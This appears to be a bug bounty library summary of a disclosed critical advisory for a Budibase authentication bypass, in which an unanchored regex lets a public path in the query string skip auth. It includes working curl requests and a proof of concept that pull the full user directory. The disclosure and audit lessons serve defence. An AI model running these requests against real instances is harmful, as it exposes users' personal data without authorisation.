# Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints

Unauthenticated regex matcher in Budibase tests full URL including query string, so appending a public path as a query param bypasses auth on protected endpoints like user search.

- Payout: Research
- Severity: critical
- Program: Budibase
- Found by: AyushParkara
- Disclosed: 2026-04-16
- CVE: CVE-2026-41428
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8783-3wgf-jggf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8783-3wgf-jggf
- Tags: area:web domain:api domain:web impact:data-leak impact:pii-leak kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Koa authenticated middleware / public endpoint matcher
**Root cause:** Public endpoint patterns are compiled into unanchored regexes and tested against ctx.request.url, which includes the query string, so any URL containing a public path as a substring is treated as public.
**Steps:**
1. Confirm baseline: `curl -X POST -H "Content-Type: application/json" -d '{}' https://budibase-instance/api/global/users/search` returns 403.
2. Append a public path as a query param: `curl -X POST -H "Content-Type: application/json" -d '{}' "https://budibase-instance/api/global/users/search?x=/api/system/status"`.
3. Observe 200 with full user directory JSON (emails, roles, admin flags).
4. Repeat with other public patterns like `?x=/api/global/configs/public` against other loggedInRoutes endpoints.
**How found:** Code review of matchers.ts: noticed `new RegExp(route)` lacks anchors and is tested against ctx.request.url (which includes query string in Koa), then traced how publicEndpoint=true skips the global auth check in worker index.ts.
**Exploitation:** Unauthenticated attacker appends any public endpoint path (e.g. /api/system/status) as a query parameter to a protected loggedInRoutes URL; the unanchored regex matches in the query string, ctx.publicEndpoint becomes true, the global 403 check is skipped, and the route handler runs without auth, returning the full user directory.
**Escalation:** Only loggedInRoutes endpoints lacking secondary middleware are exposed; builderOrAdminRoutes/adminRoutes remain protected by their own ctx.user checks.
**Insight:** When auditing auth middleware, check whether route allowlists are matched against the full URL (path+query) with unanchored regexes or substring checks — appending a known public path as a query param can flip the public flag on any protected route; also enumerate which routes rely solely on the global check vs. per-route middleware.

## Proof of concept (copied exactly from the original report)

**curl bypass request returning all users**

```
$ curl -s -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search?x=/api/system/status"
{"data":[{"email":"admin@example.com","admin":{"global":true},...}],...}
```

**Baseline blocked request returning 403**

```
$ curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" -d '{}' \
    "https://budibase-instance/api/global/users/search"
403
```

